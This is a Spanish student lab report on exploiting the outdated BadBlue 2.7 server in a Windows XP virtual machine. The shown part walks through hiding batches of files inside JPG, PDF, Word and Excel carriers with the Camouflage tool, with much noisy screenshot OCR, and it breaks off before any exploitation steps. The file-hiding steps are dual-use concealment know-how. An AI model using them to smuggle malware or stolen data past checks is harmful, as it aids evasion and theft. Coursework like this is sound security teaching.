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1. Introduccion
El presente informe describe la explotacion de la vulnerabilidad del servidor BadBlue y el
uso de técnicas de camuflaje de archivos, llevadas a cabo desde una maquina virtual con Windows
XP. El proposito fundamental fue comprender, mediante una simulacion practica, como los
atacantes pueden aprovechar fallos en servicios desactualizados para comprometer un sistema, y
de qué forma es posible ocultar informacion dentro de archivos cotidianos como imagenes y

documentos.

2. Objetivos
2.1. Objetivo General
Explotar la vulnerabilidad del servidor BadBlue y aplicar técnicas de camuflaje de

archivos desde una maquina virtual con Windows XP



2.2.0bjetivos Especificos

e Identificar la vulnerabilidad del servidor BadBlue y configurar el entorno de
explotacion.

e Ocultar archivos en diferentes tipos de documentos usando herramientas de
camuflaje.

e Registrar los pasos seguidos y los resultados obtenidos durante la practica.

10
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3. Justificacion
La practica realizada es relevante porque muestra la facilidad con que se pueden explotar
servicios obsoletos y camuflar archivos. Esto refuerza la importancia de la actualizacioén constante

de sistemas y la capacitacion en temas de seguridad
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4. Planteamiento de la Actividad
Determinar la capacidad maxima de archivos que pueden ocultarse en formatos JPG, PDF,
Word y Excel, evaluando limites de tamafio y cantidad. Paralelamente, ejecutar la explotacion del
servidor BadBlue 2.7 mediante payloads especificos para obtener acceso remoto, documentando

el proceso completo de compromiso del sistema.
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5. Desarrollo del tema
5.1.Capitulo #1

5.1.1 Instalacion de VirtualBox en Windows XP

- =]
Archivo  Edicidon  Wer  Fawvoritos  Herramientas  Avuda #
Ontrés -J l@ pBL'lsqueda H__i‘ Carpetas v
Oracle VirtualBox Guest Additions 7.1.12 Setup :_ Ir

Tareas del sistema

Direccidn

Completing Oracle VirtualBox Guest
Wer informacidn del 5 Additions 7.1.12 Setup
:zj Agregar o quitar pro
G» Cambiar una configus

&3 Expusar este disco

il

‘four computer must be restarted in order to complete the
installation of Cracle VirkualBox Guest Additions 7.1.12, Do
wou want to rebook now?

Otros sitios
i (%) Reboat: nov
!Q Mis sitios de red

EJ Mis documentos
|5) Documentos compary
G» Panel de contral

(1 want to manually reboot later

Detalles

YirtualBox Guest Add
Unidad de CD

Sistema de archivos: CDR

< Back Cancel

Espacio libre: 0 bytes
Tamario total: 58,4 MB

14 Inicio

llustracion 1. Asistente de instalacion de VirtualBox

El primer paso para la practica es preparar el entorno de la maquina virtual Windows XP
instalando las VirtualBox, ya que habilita la funcionalidad de "Carpetas Compartidas", la cual
permitira transferir archivos de forma sencilla entre la maquina loca y la maquina virtual Windows

XP para realizar las pruebas de camuflaje en BadBlue.



- |2 X]
&rchivo  Edicidn Wer  Favoritos  Herramientas  Ayuda #
O Abras { ) @ p Blisqueda FE_" Carpetas -
Direccian i I¥li PC A | Ir
Archivos almacenados en este equipo
Tareas del sistema
. a2 . = =
Ver infarmacion del sistema IL] Docurnentos compartidas i Docurnentos de Kevin Jaramillo
i‘, Agregar o guitar programas
& Cambiar una configuracion
Unidades de disco duro
Otros sitios e
w Disco lacal (C:)
& Mis sitios de red
E Mis documentos
[C3) Documentos compartidos Dispositivos con almacenamiento extraible
& Panel de control
% VirtualBox Guest Additions (D:)
Detalles
Mi PC
Carpeta del siskema
@' Mantenga su equipo actualizado x
Haaga clic agui para que Windows mantenga automaticamente
su equipo al tanto de actualizaciones importantes,
12 Inicio P MipC s W Rl 16:16

1lustracion 2. VirtualBox como dispositivo de almacenamiento

Una vez completada la instalacion y el reinicio, se verifica el entorno de Windows XP. Es
importante destacar la presencia de la unidad VirtualBox (D:), que corresponde al disco de

instalacion montado por VirtualBox.
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5.1.2 Configuracion de la Carpeta Compartida en VirtualBox

kad
Basic

General Nombre Ruta Acceso Automontar En [
Carpetas de la maquina
Sistema Y

Pantalla
= Ruta de carpeta: [ C:\Users\J... DEREDES\Doc ~ ~

Almacenamiento Nombre de carpeta: Doc
Audio Punto de montaje:

Sélo lectura
Red
v Automontar
Puertos serie Depurar * Ayuda ~
vV Hacer permanente

USB Aceptar Cancelar
Carpetas compartidas Tilida
Mostrar en la parte superior de la pantalla

BoRKER S EENT €0

Interfaz de usuario

=
O
)
.’.
=
&
-
]

Aceptar Cancelar Ayuda
su equipo al tanto de actuallzcidnes importante:

"2 Inicio % mipc

llustracion 3. Creacion de una carpeta compartida.

Para transferir los archivos desde el equipo host ("maquina loca") a la maquina virtual
Windows XP, se configura una Carpeta Compartida.
Configuracion de la VM donde se define una nueva carpeta compartida:
e Ruta de carpeta: C:\Users\... AUDITORIA DE REDES\Doc (Ruta del equipo local).
e Nombre de carpeta: Doc (Nombre con el que se identificara en la maquina virtual).
o Las opciones Automontar y Hacer permanente deben estar activadas, para que la carpeta

esté disponible automaticamente cada vez que se inicie la maquina virtual.
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5.1.3 Verificacion de la Carpeta Compartida

g ——
- . S

ks

Basic

General Nombre Ruta Acceso Automontar En
~ Carpetas de la maquina
Sistema Doc C:\Users\Jaram\Documen... Y AUDITORIA DE REDES\Doc Completo Si
Carpetas transitorias

Pantalla

Almacenamiento

Audio

Red Interfaz de usuario
Parrinssrrie Archivo ¥ Maquina ¥ Ver  Entrada * Dispositivos ¥ Depurar ¥ Ayuda ~
USB Estado visual: Normal (ventana) ~

e fae e et Minibarra de herramientas: v Mostrar en pantalla completa/fluido

Mostrar en la parte superior de la pantalla
Interfaz de usuario

BOoREISEETTE €0

Aceptar Cancelar Ayuda

su equipo al tanto de actualizaciones importantes.

P mirc

llustracion 4. Lista de carpetas compartidas en la configuracion de la maquina

Esta captura confirma que la carpeta compartida "Doc" se ha afiadido correctamente a la

configuracion de la maquina virtual.



5.1.4 Acceso a la Carpeta Compartida

17

Archiva  Edicién  Wer Favoritos  Herramientas  Ayouda

¢ Abrés & G | Blsgueda ||~ Carpetas -
(€ © 2, =

Direcrién | & M PC

e

Archivos almacenados en este equipo
Tareas del sistema

e L
. o . = . _
‘er informacion del sistema ll:,J Daocumentos compartidos 's

ﬁ Agregar o quikar programas
& Cambiar una configuracion
Unidades de disco duro

Otros sitios

. &\:ﬁ Disco local {C:)
'g Mis sitios de red

Mis documentos

|5 Documentos compartidos Dispositivos con almacenamiento estraible
B Panel d= contral

‘ nn VirtualBox Guest Additions (D)
Detalles
Mi PC Unidades de red

Carpeta del sistema

el
i Dac en "WBoxSyr" (23}

:4 Inicio

Cocumentos de Kevin Jaramillo

llustracion 5. Mostrando la unidad correspondiente a la carpeta compartida.

Se observa la nueva Unidad como Doc en "VBoxSvr" (Z:). Esta unidad Z: es el punto de

montaje de la carpeta compartida Doc configurada en los pasos anteriores.
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5.1.5 Archivos en equipo local

+

> Documentos > SEGURIDAD Y AUDITORIA DE REDES > Buscar en Doc

T Ordenar ~ v (5 Detalles
Fecha de modifi Tipo
Aplicacion

Aplicacién

Aplicacién

Ilustracion 6. Carpeta Doc dentro de otra carpeta en el equipo local

Esta captura muestra el directorio de trabajo en la maquina loca donde se estan unidos todas

las herramientas y archivos necesarios para la practica.
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5.1.6 Acceso alos Archivos desde la Maquina Virtual

= Doc en "VBoxSvr" {Z:)

Archiva  Edicién  Wer  Favoritos  Herramienkas  Avuda

@F\trés - \‘) @5 pBusqueda [E" Carpetas v

Direccion |58 2:\

: 3 { >
Tareas de archivo y carpeta |\ * k‘: 8.0_AdbeRdr30_en_US ::3: badblue-pe-2.72a

B Crear nueva carpeta

@ Publicar esta carpeta en Web - "y CARPETA COMPARTIDA. docx
Camoulzl Archivo DOCH
16 KB

Otros sitios internet-explorer-G-para-xp- Motas
I Archivo,cab autoextraible Docurento de kexko
i MiPC Microsoft Corporation 4 KB

Mis documnentos

| Documentos compartidos " Ic-50, LE-win3?
g Mis sitios de red

Detalles

+4 Inicio

[lustracion 7. Contenido de la carpeta compartida desde el Windows XP

Desde dentro de la maquina virtual Windows XP, se accede a la unidad de red Z:, que

corresponde a la carpeta compartida configurada.
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5.1.7 Instalacion de Camouflage en Windows XP

[lustracion 8. Icono de Camouflage en el escritorio de Windows XP.

Camoul2l1.exe (la herramienta de camuflaje) evidenciada en el escritorio de Windows XP

como ejecutable
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5.1.8 Interfaz Web de BadBlue en Ejecucion

r —_—r— .'—..‘
(= BadBlue: the file-sharing web server, anyone can use - Windows Internet Explorer __|E||£|
¥ [Bl[%]x] [P [=E

CAD |g, 127.0.0.1

Archivo  Edicion  Wer Faworibos  Herramientas  Awuda
7 Favoritos | 95 & v € Hotmail gratuito & |

| @BadBlue: the file-sharing web server anvone can use | | @ - B

[ @ ~ Pagina = Seguridad = Herramientas = @v

3 serving. publishing. shaemng.

File search: |

Share your Excel

1
Search using a partial word (inv matches spreadshee'ls over 1
invoices), by file extension (jog, mp3, xis,
...) or with multiple words (photo album the WEb' FaSt'
would match all files that include the words

Pt andlalbirm): Easy. Guaranteed.
C here for a spec on
BadBlue
Enterprise Edition

e Internet
f‘l; Inicio /2 BadElue: the file-shar...

llustracion 9. Pagina principal del servidor BadBlue

Esta captura confirma que el servidor web vulnerable BadBlue se esta ejecutando

correctamente en la maquina virtual Windows XP.



5.1.9 Archivos Preparados para Camuflaje

& archivos_camuflaje

Archivo  Edicion  Yer  Favoritos  Herramientas  Avuda

OAtrés d l.@ pBL'lsqueda H__:‘ Carpetas v

Dirgccidn |3 Ci\Documents and Settings|Yeco\Escritoriolarchivos_camuflaje

Iy By
Tareas de archivo y carpeta 2 t!l .ll .ll ,&-‘

Fy Mueve los slementos archivo_0000  archivo_00.., archivo_00... archivo_0003

seleccionados

Copiar los elementos i —t , -
seleccionados |I || | I

@ Publica en el Web los elementos - - - -
e archivo_00... archivo_00... archivo_00... archivo_00...

() Enwiar par corren electrdnico los

elementos siguienkes Iy
x Eliminar los elementos t!l _,mt ||

seleccionados
archivo_0014  archivo_0015 archivo_00... archivo_00...

Otros sitios

(@ Escritorin |t |
) archivo_0021  archivo_0022  archivo_00... archivo_0024
5} mis dacumentaos

|3 Documentas compartidos

H i @ - — E

‘S Mis sitios de red archivo_00... archivo_00... archivo_00... archivo_ 0031

ok

Detalles @ — .Et

archivo_00... archivo_00.., archivo_0037 archivo_0033

r:;' Inicio = - amuflaje

[lustracion 10. Conjunto de archivo listos para ser camuflados.

archiva_00...

Iﬂt

b

archivo_0011

o

archivo_001&

g

archiva_0025

=

archiva_0032

El

archivo_00...

archivo_00... archivo_ 0006

L

archivo_0012  archivo_00...

iobe

archivo_00... archivo_0020

B

archivo_00... archivo_00...

(e

archivo_00... archivo_0034

inke

archivo_0040  archivo_0041

22

miércoles, 08 de octubre de 2025

Es | %0 B% 12:05

Esta captura muestra el conjunto de archivos que se utilizaran para probar las capacidades

de camuflaje, que seran camuflados dentro de archivos como JPG, DOC, PDF, XLS utilizando la

herramienta Camouflage.
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5.1.10 Propiedades del Conjunto de Archivos de Prueba

® archivos_camuflaje

Archivo  Edicidn  Wer  Faworitos  Herramienkas  Awuda

Q prore J L‘ﬁ; p Busqueda It‘H Propiedades de reporte_48, ... _ _
Direcridn |3 C:\Documents and Settings\Yeco\Escritorion Geriztal Resumen| b Ir

s Y
Tareas de archivo y carpetn ~ _L ." 613 archivos, O carpetas 2 A!

Py Musve los elementos reporte e 20 reporte_21
seleccionados Tipo: Miltiples tipos
Copiar los elementos
lD selgccionados lﬁ“ Ubicacian: Todos en C:iDocuments and Settings'Yeoo\Escrito & .Ii“
Fublica en el 'Web los elementas . = [ —
@ celectionadns reparte Tamario: 1,18 GB (1,269,010,173 bytes) e 27 reporte 28
@ Enviar por correo electronica los Tamarfio en 1,15 GE (1.2659.551.104 bytes)
elementos siguientes disca: T_‘
¥ Eliminar los elementas X 1
2| [N -
reporte D P e 34 reporke_35
culko
DOkros sitios ni t .HT
@ Escritario = o |t
reparte e 41 reporte_4Z
IMis documentos s - BRI
|3 Documentos compartidos
¥ MiPC ! T_‘ ! |
= |l = | |
.d Mis sitios de red reporte e 45 reporke_49
Detalles nﬁ:
| e
reporte L Aceptar J [ Cancelar Aplicar =
~
1 > Inicio = Docen' & archivos_camuflaje ES 'y o " 19:06

llustracion 11. Caracteristicas del conjunto de archivos a camuflar.

Antes de proceder con el camuflaje, se analizan las propiedades del conjunto de archivos
de prueba.
e Cantidad: 613 archivos individuales.

o Tamaino total: 1.18 GB



5.1.11 Intento fallido de camuflaje

™ archivos_camuflaje

Archivo  Edicion Yer  Favarikos

O akras d

Herranizntas

Ayuda

l@ pBﬁlsqueda H__:‘ Carpetas v
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5%
>

Direccidn |3 Ci\Docurnents and Setkings! ¥ecoEscriboricharchivos_camuflaje

Tareas de archivo y carpeta

@ Mueve los elementos
seleccionados

Copiar los elementos
seleccionados

Publica en el Web los elementos
seleccionados

Ej Enviar por correo eleckrdnico los
elementaos siguientes

¥ Eliminar los elementos
seleccionados

Okros sitios

@ Escritario
Mis documentos

[ Documentos compartidos
i MipC

!& Mis sitios de red

Detalles

v|Ir

= R R L

reporte_15 reporte_16 reporte_17 reporte_13 reporte_19

Camouflage

': Cannot find file "'C:\Dacuments 3"
.

Camouflage Usage:

Camouflage.exe -c Filename1 [,Filenamez] [,Filename3]...
(to Camouflage files)

Camouflage.exe -u Filenamel [,Filenamez] [,Filename3]...
(to Uncamauflage Files)

Camouflage.exe
(Camouflage Settings)

reporte_43 reporte_44 reporte_45 reporke_46

%33
.,
3

reporte_47

| e
‘oz ip packet
tracer

tener acceso
remota con .,

reporte_50  SOL injection

74 Camouflage

llustracion 12. Mensaje de error de Camouflage

reporte_20

“hinbe

reparte_27

IET:

(|

reporke_34

IET:

ki

reporte_41

(|

reporke_48

T T 7

reporke_21

ok

reporte_28

Iﬂi:

(e

reporte_35

lﬂt

ok

reporke_42

(e

reporte_49

Al ejecutar la herramienta Camouflage sobre el conjunto de archivos de prueba, el

programa devuelve un error. Indica que la herramienta no puede manejar el volumen total de

archivos seleccionados.

La herramienta Camouflage tiene un limite en la cantidad o tamafio total de archivos que

puede procesar en una sola operacion, el cual es inferior a 1.18 GB
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5.1.12 Seleccion de Archivos para Camuflaje en JPG

SNEJES

& archivos_camuflaje

Archivo  Edicisn  Wer  Fawvoritos  Herramientas  Awuda ﬂF
Settings
A
Size | Attributes -~ E
ivva_ 00 cx 1.024KB A il 4
@ archivo_0000.jpg 072 KB A
archivo_0007. xlsx 2MBKE A =
archivo_0002. wlsw 2042KE A
-__E] archiva_0003. pdf B120 KB A |
archivo_0004. xlsx 2MEKE A
archivo 0005, sl 2048 KB A
-__El archiva_0006. pdf B120 KB A
archivo_0007. docx 1.024KE A
archivo_0008. docx 1.024KE A
archivo_0003. xlsx 2MEKE A
archivo_0070.docx 1.024KE A
-__El archiva_0011. pdf B120KE A
@ archivo_0012.jpg 072 KB A
archivo_0013.docx 1024KE A
@ archivo_0014.jpg 3072 KB A
-__E] archiva_0015 pdf B120 KB A
archivo_0016.docx 1.024KE A ol
Click here to get the latest version < Back | MHeut > | Close |
g8 T 8 3 .

+4 Inicio - Doce 7 & archivos_camuflaje T Camouflage

llustracion 13. Interfaz de Camouflage mostrando los archivos seleccionados.

Tras el intento fallido con un volumen grande de datos, se procede con un conjunto mas
manejable de archivos. Esta captura muestra la interfaz de Camouflage donde se han seleccionado

archivos de diferentes tipos para ser camuflados.
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5.1.13 Configuracion del Archivo Portador JPG

'® archivos_camuflaje

Archivo  Edicidn  Wer  Fawvoritos  Herramientas  Ayuda #
“2 Camouflage
‘f'our camouflaged files will be made ta look and act like the follawing file. =
Camouflage Using C:\Documents and Settings'v'ecohE scritaniohlogo utch.jpg ;IJ E
Click here to get the: latest version < Back | Mest > | Close |

= Doc ) & archivos_camuflaje T3¢ Camouflage

Llustracion 14. Seleccion del archivo JPG que servird como portador

En este paso crucial, se configura el camuflaje seleccionando el archivo que actuara como

portador.
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5.1.14 Proceso de Camuflaje Completado

= archivos_camuflaje

Archivo  Edicidn  Wer  Favoritos  Herramisntas  Ayuda EF
2 Camouflage
Chonse the location and filename for the camouflage file that iz about to be created. 2
Create This File IC:\D acuments and Settingsheco\E scritoriohjpg_camuflajs jpg jJ E
¥ Read-only |
Click here to get the latest version < Back I Newt > | Cloze |
ﬂ (St ﬂ || e

™ archivos_camuflaje T Camouflage

llustracion 15. Mensaje de finalizacion exitosa del proceso de camuflaje.

Esta captura confirma que el proceso de camuflaje se ha completado exitosamente. La

herramienta Camouflage ha generado un nuevo archivo llamado jpg_camuflage.jpg.



5.1.15 Contrasena del Archivo Camuflado

® archivos_camuflaje
Archivo  Edicion  Wer  Favoritos  Herramientas  Ayuda

™

2 Camouflage

Enter a zecurity password for your camouflaged file if pou wish.

Pazzwond I “““““
‘erify Pazsword I”mﬂ

Click. here to get the |atest version

<Back | Finish |

LCloze I

[lustracion 16. Configuracion de contrasenia para el archivo camuflado.

28

>

Esta captura muestra la ventana donde se puede establecer una contrasefia de

seguridad. Cuando se configura, cualquier intento de extraer los archivos ocultos del JPG requerira

ingresar esta contrasefia.
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5.1.16 Propiedades del Archivo JPG Camuflado

FDF-Pho 0 Arch word.... Arch.excelixiss

Propiedades de jpg_camuflaje

534 General |Resumen|

! 2dia BadElue - -
plavers Personal Edi n | jpa_camuflaje

Tipo de archivo: Imagen JPEG
Se abre con: @ Visor de imagenes y

Ubicacidn: Ci\Documents and Settings!Yeco\Escritorio

Tamafio: 171 MB (179.448.195 bytes)

Tamafio en disco: 171 MB (179,449,856 bytes)

Creado: jueves, 02 de octubre de 2025, 17:21:33
Modificado: lunes, 09 de junio de 2025, 5:28:22

Ultimo acceso: miércoles, 08 de octubre de 2025, 19:33:56

Atributos: Sélo lectura [ Oculko

jpag_camuflaje

l Aceptar ] [ CancelarJ Aplicar

/,’ Inicio = Dot en "VBoxSwr" (Z:) @& archivos_camuflaje

llustracion 17. Propiedades del archivo JPG después del camuflaje.

Esta captura muestra las propiedades del archivo jpg_camuflaje después del proceso de
ocultamiento.

Tamano final: 171 MB
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5.1.17 Verificacion de Archivos Ocultos JPG Camuflado

The camouflaged file [created with Camouflage »1.2.1] contains these files. Select the files you wish to extract or leave them unselected to extract
il them all

Size | Altributes
119KE A

archiva_ 0052 slsx 2048 KB
archivo_0053.docx 1.024 KB
archivo_ 0054, sl 2.048 KB
archiva_0055. docx 1.024 KB
archiva_005E.jpg J072KE
archivo 0057, docx 1.024 KB
archiva_0058. pdf BA120 KR
archivo_0059.xlzx 2048 KB
archiva_ 0060 slsx 2048 KB
archivo_00E1 . xlzx 2048 KB
archivo 0062 docx 1.024 KB
archiva_0000.jpg J072KB
archivo_0007 . xlzx 2048 KB
archivo 0002, sl 2.048 KB
archiva_0003. pdf BA120 KR
jpg_car archivo_ 0004, xlzx 2048 KB
archivo 0003, sl 2.048 KB

A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A
A

W

Click here to get the |atest version < Back Mest > LClose

,"'l Inicio = Doce archi ariuflaje T Camouflage

Hustracion 18. Interfaz mostrando la lista de archivos extraibles del JPG camuflado.

Esta captura es la evidencia definitiva del éxito del camuflaje. Al abrir el
archivo jpg_camuflaje con Camouflage, la herramienta muestra la lista completa de archivos que

estan ocultos dentro de la imagen.
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5.1.18 Seleccion de Archivos para Camuflaje en PDF

& archivos_camuflaje

Archivo  Edicion  Wer  Faworitos  Herramientas  Avuda ﬂf
O 2 Camouflage

Thesze filez will be hidden within pour camouflaged file. 2
@e | Size I Attributes I fad =

| archiva_00471.pdf 5120KE A L
i] archivo_0042 . pdf B120 KB A

archivo_0043.xlsx 2048KE A

archivo_0044. wlsx 2048KE A

@ archivo_0045.jpg 3072 KB A

@ archivo_046.jpg 3072KB A

archivo_0047. wlsx 2048KE A

-El archivo_0048. pdf B120 KB A

@ archivo_0049.pg 3072KB A

@ archivo_0050.jpg 3072 KB A

-El archiva_0057. pdf B120 KB A

archivo_0052.1lsx 2048KE A

archivo_0053.docx 1024KE A

archivo_0054. slax 2042KE A

archiva_0055, docx 1.024 KB & =

@ archivo_0056.jpg 3072 KB A

archivo_0057.docx 1.024KE A

" archiva_00S8.pdf 5120KB & ~
Click here to get the latest version < Back I Mest > I Close |

g8 T 8 T ,

& archivos_camuflaje T Camouflage

Llustracion 19. Interfaz mostrando archivos para ser ocultados dentro de un PDF.

Se observa la seleccion de archivos para ser camuflados dentro de un PDF.
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5.1.19 Configuracion del Archivo PDF Portador

=

archivos_camuflaje

Archiva  Edicidn  Yer Favoritos  Herramientas  Avuda ﬂ’

FE

#3 Camouflage

Your camouflaged files will be made to look and act like the following file.

Camouflage Uzing C:"Documents and Settings\vecohE scrtono\PDF-Photoshop. pdf LIJ

l Click here bo get the |atest wersion

_—————

archivo_00... archivo_00... archivo_00... archiva_00... archivo_00&84 archivo_0065

H T R =

. archivo_00,.. archivo_0062  archivo_0070  archiva_00... v

T Camouflage

Llustracion 20. Seleccion del archivo PDF como archivo para el camuflaje.

En este paso, se configura un archivo PDF como el archivo portador para el camuflaje.

Esto significa que todos los archivos seleccionados seran ocultados dentro de este documento PDF.



5.1.20 Proceso de Camuflaje en PDF Completado

™ archivos_camuflaje

Archivo  Edicion  Wer  Faworitos  Herramientas  Awuda

52 Camouflage

Choose the location and filename for the camouflage file that i about to be created.

33

Create This File

¥ Read-only

l Click here to get the latest version

|C: “Documents and Settingsyy ecohE scrtoriohpdf_Camuflaje. pdf

i3 Inicio = Doceny

_camuflaje

Mlustracion 21. Archivo PDF camuflado resultante

< Back Mest = LClose
S— — S— — — —
archivo_00... archiwo_00... archivo_00... archivo_00... archivo_D064  archivo_ 0065

archivo_0066  archivo_00. .,

archivo_00... archivo_0069  archivo_0070  archivo_00.., v

T Camouflage

Esta captura confirma la finalizacion exitosa del proceso de camuflaje usando un PDF

como portador. Se ha generado el archivo pdf Camuflaje.pdf que contiene todos los archivos

seleccionados ocultos.



5.1.21 Propiedades del Archivo PDF Camuflado

V.

Archivo Maquina Ver
-

Entrada Dispositivos Ayuda

B ETNEE T

VLC media BadElue
player Personal Editi

=
Internet

jpa_camuflaje

pdf_Camuflaje

Propiedades de pdf_Camuflaje

General |pDF | Resumen |

-

hioke.

| pdf_Camuflaje

Tipo de archivo:

Se abre con:

Ubicacién:
Tamafio:

Tamafio en disco:

Adobe Acrobat Document

C:\Documents and SettingsiYeco\Escritorio
171 MB {179.438.301 bytes)

171 MB (179.441.664 bytes)

Creado:
Modificado:

(ltimo acceso:

jueves, 02 de octubre de 2025, 17:24:26

viernes, 07 de junio de 2024, 5:28:29

miércoles, 08 de octubre de 2025, 19:03:24

Atributos: Sélo lectura [ Oculto

Opciones avanzadas...

e II;M;!O = Doc en "vYBoxSwr" (Z:)

[ Aceptar I [Cancelar ] Aplicar

@ archivos_camuflaje

[lustracion 22. propiedades del archivo PDF después del proceso de camuflaje.

34

Esta captura muestra las propiedades técnicas del archivo pdf Camuflaje.pdf después del

proceso de ocultamiento.



5.1.22 Verificacion de Archivos en el PDF Camuflado

Camouflage

extract them all.

The camouflaged file [created with Camouflage +1.2.1] contains these files. Select the files you wish to extract or leave them unselected to

Size

Attributes

E

IPDF-Photoshop. pdf

109 KB

&,

2043 KB
2042 KB
2043 KB
1.024 KB
3072 KB
2043 KB
2043 KB
B120KR
2043 KB
2048 KB
5120KB
1.024 KB
1.024 KB
2043 KB
1.024 KB
5120 KB
3072KB

e e e e N = = = = 5

hd

Click here to get the latest version

< Back | Met » | Cloze

llustracion 23. Interfaz mostrando la lista de archivos extraibles del PDF camuflado

Esta es la wverificacion final

y del

camuflaje

en PDF. Al abrr

35

el

archivo pdf Camuflaje.pdf con Camouflage, la herramienta muestra la lista completa de archivos

ocultos.



5.1.23 Seleccion de Archivos para Camuflaje en Word

archivos_camuflaje

Archiva  Edicion  Wer  Fawaritos  Herramientas  Ayuda

Camouflage

Seftings

Thesze files will be hidden within your camouflaged file.

Mame I Size I Aftributes I ]
archivo_0052.x1sx 2043KB A&
archivo_0053.docx 1.024KB A&
archivo_ 0054, xlsx 2048 KB i)
archivo_0055.docx 1.024KB &
@ archiva_005E.jpg 3072KR A =
archivo_0057.docx 1.024KB A&
ﬁ archiva_0058.pdf B120KEB A
archivo_0059.xlsx Z2048KE & b |
archivo_0060.=1sx 2043KB A
archivo_00E1.=lsx 2048 KB i)
archivo_0062 docx 1.024KB &
@ archiva_0000.jpg 3072KR A
archivo_0007.=lsx 2043KB A
archivo_0002.xlsx 2048KB A
-E] archivo_0003.pdf BI120KE A
archivo_0004.=lsx 2043KB A
archivo_ 0005, =lsx 2048 KB i)
E archiva_0006.pdf BI120KEB A ol
Click here to get the latest version ¢ Back Mext > Close

I— I— — — —_—

5 B B T W FH

archivo_0066  archivo_00... archivo_00...

Camouflage

Llustracion 24. Interfaz archivos para ser ocultados dentro de un documento Word

Esta captura documenta otra prueba exitosa de camuflaje, esta vez utilizando un

documento Word como portador.

archivo_00... archivo_00... archivo_00... archivo_00... archiva_00&4  archivo_DO&S

archivo_0069  archiva_0070  archivio_00...

36

|

b
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5.1.24 Configuracion del Archivo Word

!

Archive Maquina Ver Entrada Dispositivos Ayuda

& archivos_camuflaje E|E

Archivo  Edicidn  Wer  Faworitos  Herramientas  Awuda

#2 Camouflage

“our camouflaged files will be made to look and act like the following file. A
Camouflage Using C:ADocuments and Settings'yyecoE soritorioharch_word. docx LIJ
l Click _here to get the latest version < Back Close
archivo_00... archivo_00... archivo_00... archivo_00... archivo_0064  archiva_0065
Cy [N Ly
§E 2 2 B T =
archivo_0066  archivo_00... archivo_00... archivo_0069 archivo_0070 archiva_00... v

llustracion 25. Seleccion del archivo para el camuflaje en Word.

En este paso, se configura un archivo Word como el archivo portador para el camuflaje.
Esto significa que todos los archivos seleccionados seran ocultados dentro de este documento

Word.
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5.1.25 Creacion del Archivo Word Camuflado

archivos_camuflaje Il
Archive  Edicion  Wer Favoritos  Herramienbas ﬂ’

Chooze the location and filename for the camouflage file that iz about to be created.

Create This File |E:\Documents and Settingz\v'ecohE scritorio®word_camuflaje. docs ;IJ

v Fiead-only

< Back HNest » LClose

l Click here to get the latest version

— — — — — —

archivo_00... archivo_00... archivo_00... archivo_00... archivo_0064 archivo_0065

g 52 2 % T H

archivo_00&86 archivo_D0... archivo_00... archivo_00&89 archivo_0070 archivo_00... w

T Camouflage

llustracion 26. Configuracion final para generar el archivo Word camuflado

Esta captura muestra la configuracion final antes de generar el archivo camuflado.

Nombre del archivo: Word camuflaje.docx
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oD Arch word.... ﬂrch@lomutch

Propiedades de Word_camuflaje.docx ZJ

General I Resumen |

| Word_camuflaje.docx

Tipo de archivo: Archivo DOCY
Se abre con: Aplicacién desconocida

Ubicacidn: C:\Documents and Settings!Yeco\Escritorio

Tamafio: 171 MB (179,342,243 bytes)

Tamafio en disco: 171 MB (179,343,360 bytes)

Creado: jueves, 02 de octubre de 2025, 16:20:38
Modificado: jueves, 02 de octubre de 2025, 16:15:04

(ltimo acceso: miércoles, 08 de octubre de 2025, 19:41:38

atributos: Sélo lectura [] Oculto

pdf_Camuflaje

- [ Aceptar ] [ Cancelar ] Aplicar
E

d_camu...

llustracion 27. propiedades del archivo WORD después del proceso de camuflaje.



5.1.26 Propiedades del Archivo Word Camuflado

Wor

1
4
'y

Esta captura muestra las propiedades del archivo Word camuflaje.docx después del

Camouflage

The camouflaged file [created with Camouflage v1.2.1) contains these files. Select the files you wish to extract or leave them unselected to

extract them all

40

Name

Size | Attributes

§Alch_w01d.docx

16KB &

£ archivo_0044.xlsx
3 archivo_0045.jpg
2 archivo_0046.jpg
3 archivo_0047.xlsx
|5 archivo_0048.pdf
2 archivo_0049.jpg
2% archivo_0050.jpg
% archivo_0051.pdf
2 archivo_0052.xlsx
£ archivo_0053.docx
i archivo_0054.xlsx
#3 archivo_0055.docx
|8 archiva_0056.jpg
2 archivo_0057.docx
2% archivo_0058.pdf
% archivo_0059.xlsx
2% archivo_0060.xlsx

2.043KB
3.072KB
3.072KB
2.043KB
5.120KB
3.072KB
3.072KB
5120 KB
2.043KB
1.024 KB
2.043KB
1.024 KB
3.072KB
1.024 KB
5120KB
2.043KB
2.043KB

B e - - -

Click here to get the latest version

d_camu...

Inicio = Doc en "VBoxSwr" (Z:)

llustracion 28. propiedades del archivo Word después del proceso de camuflaje.

proceso de ocultamiento.

& archivos_camuflaje

Camouflage
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5.1.27 Seleccion de Archivos para Camuflaje en Excel

™ archivos_camuflaje

Archivo  Edicion  Wer  Fawvoritos  Herramientas — Awuda #

EOX]

s
These files will be hidden within your camouflaged file. Setlings
Mame I Size I Attributes I fad
-E] archiva_0031.pdf B120KE A =
@ archiva_0032.jpg A07ZKRE A -
archivo_0033.xlsx 2043KB A
ﬁ archiva_0034. pdf 5120 KB A,
archivo_0035.docx 1.024KB A
archivio_0036.xlsx 2043KB A
@ archiva_0037.jpg A07ZKE A
ﬁ archiva_0038 pdf 5120 KB A,
archivo_0039.docx 1.024KB A
@ archiva_0040.jpg A07ZKRE A
ﬁ archiva_0041 pdf B120KE A
@ archivo_0042 pdf 5120 KB A, =
archivo_0043.xlsx 2043KB A
archivio_0044. xlsx 2043KB A
@ archiva_0045.jpg A07ZKE A B
@ archivo_004E.jpg 3072KE A,
archivo_0047 xlsx 2043KB A
E archiva_0048 pdf 5120KEB A o
l Click here to get the |atest version < Back Mext > Close
—) — — — .  —

archivo_00,., archivo_0073  archivo_0074  archivo_0075  archivo_0076  archivo_00...

llustracion 29. Interfaz de archivos para ser ocultados dentro de una Excel.

Se observa la seleccion de archivos, que incluyen:
Formatos diversos: PDF, JPG, XLSX (Excel), DOCX (Word)

Tamafios variados
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5.1.28 Seleccion del Archivo Excel Portador

Select file to use as camouflage

Buscar en | @' Escritario j % EF-
e @Mis documentos t pdf_Camuflaje i
L@ i MiPC = POF-Phatoshop f
Documentos ‘HMis sitios de red ‘Word_camuflaje. docx
(=S ﬁ Adobe Reader &
?I__: E'E WLC media playver B

|harchivos_camuflaje
E scritorio Arch_es
: Arch_word,doc
‘-j % BadElue Personal Edition

B badblue-pe-2.72a
E@ Camoulzl
- @Internet
